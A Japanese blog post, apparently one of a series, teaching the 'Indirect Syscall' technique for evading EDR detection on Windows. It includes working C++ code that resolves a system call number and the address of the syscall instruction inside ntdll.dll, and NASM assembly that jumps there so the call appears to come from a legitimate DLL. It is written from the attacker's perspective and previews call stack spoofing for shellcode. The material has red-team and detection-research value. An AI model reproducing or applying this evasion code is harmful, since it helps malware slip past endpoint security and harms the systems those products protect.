2026/1/11
前回の記事では、EDRのフックを回避するためにシステムコールを直接呼び出す「Direct Syscall」を紹介しました。しかし、記事の最後で触れた通り、現代の高度なEDRは「syscall 命令がどこから発行されたか」を監視しています。
正規のWindowsプログラムであれば、システムコールは必ず ntdll.dll のメモリ領域から発行されます。しかし、Direct Syscallでは攻撃者のコード(.exeの .text セクション)から発行されるため、RIP(命令ポインタ)をチェックされると「未知の領域からの呼び出し」として即座に検知されてしまいます。
この問題を解決し、よりステルス性を高めた手法が Indirect Syscall です。
Indirect Syscallのアイデアは単純かつ強力です。 「自分のコードで syscall するのがバレるなら、ntdll.dll の中にある syscall 命令を借りてくればいい」という発想です。
具体的には、自分のアセンブリコード内で直接 syscall を書くのではなく、ntdll.dll 内に存在する syscall 命令のアドレスへ jmp(ジャンプ)します。
これにより、カーネルモードへ移行する瞬間のRIPは ntdll.dll の内部を指すことになり、EDRやセキュリティ製品からは「正規のDLLからシステムコールが呼ばれた」ように見せかける(偽装する)ことができます。
前回のコードに、syscall 命令のアドレスを探すロジックを追加します。
#include <Windows.h>
#include <cstdio>
#include "syscalls.h"
// グローバル変数: SSNとジャンプ先アドレス
DWORD wNtAllocateVirtualMemory;
UINT_PTR sysAddrNtAllocateVirtualMemory;
int main(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// 1. SSNの取得 (+4オフセット)
// ※Hell's Gate等の対策が必要な点は前回同様です
wNtAllocateVirtualMemory = ((BYTE*)(pNtAllocateVirtualMemory + 4))[0];
// 2. 'syscall' 命令のアドレスを解決
// 通常、ntdllの関数内では SSN設定(mov eax, ...) の直後に syscall(0F 05) があります。
// +0x12 (18バイト目) 付近にあることが多いですが、ここでは簡易的に固定オフセットとしています。
// 実戦ではバイト列探索(Egg Hunting)で "0F 05" を探すのが確実です。
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
printf("[*] SSN: 0x%02X\n", wNtAllocateVirtualMemory);
printf("[*] Syscall Address: 0x%p\n", (void*)sysAddrNtAllocateVirtualMemory);
PVOID allocAddr = NULL;
SIZE_T size = 0x1000;
NTSTATUS status = NtAllocateVirtualMemory(
(HANDLE)-1,
(PVOID*)&allocAddr,
(ULONG_PTR)0,
&size,
(ULONG)(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE
);
printf("[+] Memory Allocated via Indirect Syscall at: 0x%p\n", allocAddr);
return 0;
}
ここがDirect Syscallとの最大の違いです。syscall 命令を書く代わりに、C++側で用意したアドレスへ jmp します。
section .text
default rel
extern wNtAllocateVirtualMemory
extern sysAddrNtAllocateVirtualMemory
global NtAllocateVirtualMemory
NtAllocateVirtualMemory:
mov r10, rcx ; 引数退避
mov eax, [wNtAllocateVirtualMemory] ; SSNをセット
jmp qword [sysAddrNtAllocateVirtualMemory] ; 自分で syscall せず、ntdll内の syscall 命令へ飛ぶ
上記のコードが実行されると、CPUの制御フローは次のように動きます。
.exe がレジスタ(SSN等)をセットする。ntdll.dll の syscall 命令へジャンプする。ntdll.dll のアドレス上でシステムコールが発行され、カーネルモードへ移行する。ntdll.dll 内の ret 命令で戻ってくる。これにより、EDRが「システムコール発行時のRIP」をチェックしても、それは正規の ntdll.dll を指しているため、検知を回避できる可能性が飛躍的に高まります。
Indirect Syscallによって「入口」の偽装は完了しました。しかし、まだ完璧ではありません。 確保したメモリ領域内でシェルコードが動く際、そのスレッドの「リターンアドレス(スタック上の戻り先)」を検査されると、ntdll.dll などを経由していない異常なコールスタックが見えてしまいます。
これを解決し、コールスタックすらも偽造する技術が Call Stack Spoofing です。